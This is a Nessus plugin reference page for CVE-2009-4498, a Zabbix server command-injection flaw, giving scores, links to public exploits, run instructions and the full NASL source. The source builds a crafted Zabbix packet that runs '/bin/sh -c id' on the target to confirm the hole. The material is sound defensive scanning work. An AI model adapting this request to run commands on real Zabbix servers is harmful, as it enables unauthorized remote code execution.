Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution - Nessus

High Plugin ID: 44620

This page contains detailed information about the Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 44620
Name: Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution
Filename: zabbix_remote_command_execution.nasl
Vulnerability Published: 2009-09-15
This Plugin Published: 2010-02-15
Last Modification Time: 2018-08-07
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: Misc.
Dependencies: zabbix_server_detect.nasl

Vulnerability Information

Severity: High
Vulnerability Published: 2009-09-15
Patch Published: 2009-12-13
CVE [?]: CVE-2009-4498
CPE [?]: N/A

Synopsis

The remote service allows execution of arbitrary commands.

Description

The version of Zabbix server running on the remote host has a command execution vulnerability in the 'process_node_command()' function of 'nodehistory.c'.

A remote attacker could exploit this by sending a specially crafted request, resulting in the execution of operating system commands.

Solution

Upgrade to Zabbix 1.6.8 or later.

Public Exploits

Target Network Port(s): 10051
Target Asset(s): Services/zabbix_server
Exploit Available: True (Metasploit Framework, Exploit-DB, ExploitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution vulnerability:

Metasploit: exploit/linux/misc/zabbix_server_exec
[Zabbix Server Arbitrary Command Execution]
Exploit-DB: exploits/linux/remote/20796.rb
[EDB-20796: Zabbix Server - Arbitrary Command Execution (Metasploit)]
ExploitHub: EH-12-725

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.2 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.2 (High)

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Plugin Source

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(44620);
  script_version("1.12");
  script_cvs_date("Date: 2018/08/07 16:46:51");

  script_cve_id("CVE-2009-4498");
  script_bugtraq_id(37989);
  script_xref(name:"Secunia", value:"37740");

  script_name(english:"Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution");
  script_summary(english:"Attempts to execute the command 'id' on the server");

  script_set_attribute(attribute:"synopsis", value:"The remote service allows execution of arbitrary commands.");
  script_set_attribute(
    attribute:"description",
    value:
"The version of Zabbix server running on the remote host has a command
execution vulnerability in the 'process_node_command()' function of
'nodehistory.c'. 

A remote attacker could exploit this by sending a specially crafted
request, resulting in the execution of operating system commands."
  );
  script_set_attribute(attribute:"see_also", value:"https://support.zabbix.com/browse/ZBX-1030");
  script_set_attribute(attribute:"solution", value:"Upgrade to Zabbix 1.6.8 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploithub_sku", value:"EH-12-725");
  script_set_attribute(attribute:"exploit_framework_exploithub", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Zabbix Server Arbitrary Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_cwe_id(78);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/09/15");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/12/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/02/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("zabbix_server_detect.nasl");
  script_require_ports("Services/zabbix_server", 10051);

  exit(0);
}


include("global_settings.inc");
include("byte_func.inc");
include("misc_func.inc");
include("data_protection.inc");

port = get_kb_item("Services/zabbix_server");
if (!port) port = 10051;
if (!get_port_state(port)) exit(0, "Port "+port+" is not open.");

soc = open_sock_tcp(port);
if (!soc) exit(1, "Can't open a socket on port "+port+".");

set_byte_order(BYTE_ORDER_LITTLE_ENDIAN);

header = 'ZBXD'+mkbyte(1);
data = 'Command'+mkbyte(0255);
data += '0' + mkbyte(0255);
data += '0000' + mkbyte(0255);
data += '/bin/sh -c id' + mkbyte(0255);
size = mkdword(strlen(data)) + mkdword(0);

req = header+size+data;
send(socket:soc, data:req);

res = recv(socket:soc, length:256);

# should look something like this: uid=1001(zabbix) gid=1001(zabbix) groups=1001(zabbix)
if(strlen(res) && "uid=" >< res)
{
  if (report_verbosity > 0)
  {
    report = '\nThe output of "/bin/sh -c id" is :\n\n'+data_protection::sanitize_uid(output:res)+'\n';
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else exit(0, 'The Zabbix server on port '+port+' is not affected.');

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/zabbix_remote_command_execution.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\zabbix_remote_command_execution.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/zabbix_remote_command_execution.nasl

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How to Run

Here is how to run the Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select Misc. plugin family.
On the right side table select Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution plugin ID 44620.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl zabbix_remote_command_execution.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a zabbix_remote_command_execution.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - zabbix_remote_command_execution.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state zabbix_remote_command_execution.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

37989

Secunia Advisory:

37740

CWE | Common Weakness Enumeration:

CWE-78 (Weakness) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

See also:

Similar and related Nessus plugins:

43391 - Zabbix Server send_history_last_id() SQL Injection
105042 - Zabbix Server 'active checks' Command Injection
70497 - Zabbix < 1.8.18rc1 / 2.0.9rc1 / 2.1.7 Multiple SQL Injections
91349 - Zabbix < 2.0.18 / 2.2.13 / 3.0.3 'mysql.size' Parameter Command Injection
72770 - Zabbix < 1.8.20 / 2.0.11 / 2.2.2 Multiple Vulnerabilities
100615 - Zabbix 2.0.x < 2.0.21 / 2.2.x < 2.2.18 / 3.0.x < 3.0.9 / 3.2.x < 3.2.5 Multiple Vulnerabilities
158452 - Zabbix 5.4.x < 5.4.9 Multiple Vulnerabilities
62757 - Zabbix Web Interface popup_bitem.php itemid Parameter SQL Injection
35787 - Zabbix Web Interface extlang[] Parameter Remote Code Execution
139297 - Debian DLA-2311-1 : zabbix security update
143193 - Debian DLA-2461-1 : zabbix security update
148926 - Debian DLA-2631-1 : zabbix security update
157409 - Debian DLA-2914-1 : zabbix - LTS security update
62000 - Debian DSA-2539-1 : zabbix - SQL injection
97530 - Debian DSA-3802-1 : zabbix - security update
102444 - Debian DSA-3937-1 : zabbix - security update
57077 - Fedora 15 : zabbix-1.8.9-1.fc15 (2011-16712)
57078 - Fedora 16 : zabbix-1.8.9-1.fc16 (2011-16745)
61736 - Fedora 16 : zabbix-1.8.15-1.fc16 (2012-12488)
61737 - Fedora 17 : zabbix-1.8.15-1.fc17 (2012-12496)
73814 - Fedora 20 : zabbix-2.0.11-3.fc20 (2014-5540)
73815 - Fedora 19 : zabbix-2.0.11-3.fc19 (2014-5551)
101639 - Fedora 26 : zabbix (2017-5c8a4ebccd)
101181 - Fedora 25 : zabbix (2017-63aca509fb)
101184 - Fedora 24 : zabbix (2017-d191fb7fce)
139100 - Fedora 32 : 1:zabbix (2020-02cf7850ca)
139102 - Fedora 31 : 1:zabbix (2020-519516feec)
136758 - FreeBSD : Zabbix -- Remote code execution (4d11d37e-9a8d-11ea-b9b8-641c67a117d8)
102530 - FreeBSD : Zabbix -- Remote code execution (5df8bd95-8290-11e7-93af-005056925db4)
71089 - GLSA-201311-15 : Zabbix: Multiple vulnerabilities
95816 - GLSA-201612-42 : Zabbix: Multiple vulnerabilities
141167 - openSUSE Security Update : zabbix (openSUSE-2020-1604)
158130 - openSUSE 15 Security Update : zabbix (openSUSE-SU-2022:0036-1)
139658 - SUSE SLES12 Security Update : zabbix (SUSE-SU-2020:2251-1)
148252 - SUSE SLES12 Security Update : zabbix (SUSE-SU-2021:0990-1)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file zabbix_remote_command_execution.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

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Zabbix node_process_command() Function Crafted Request Arbitrary Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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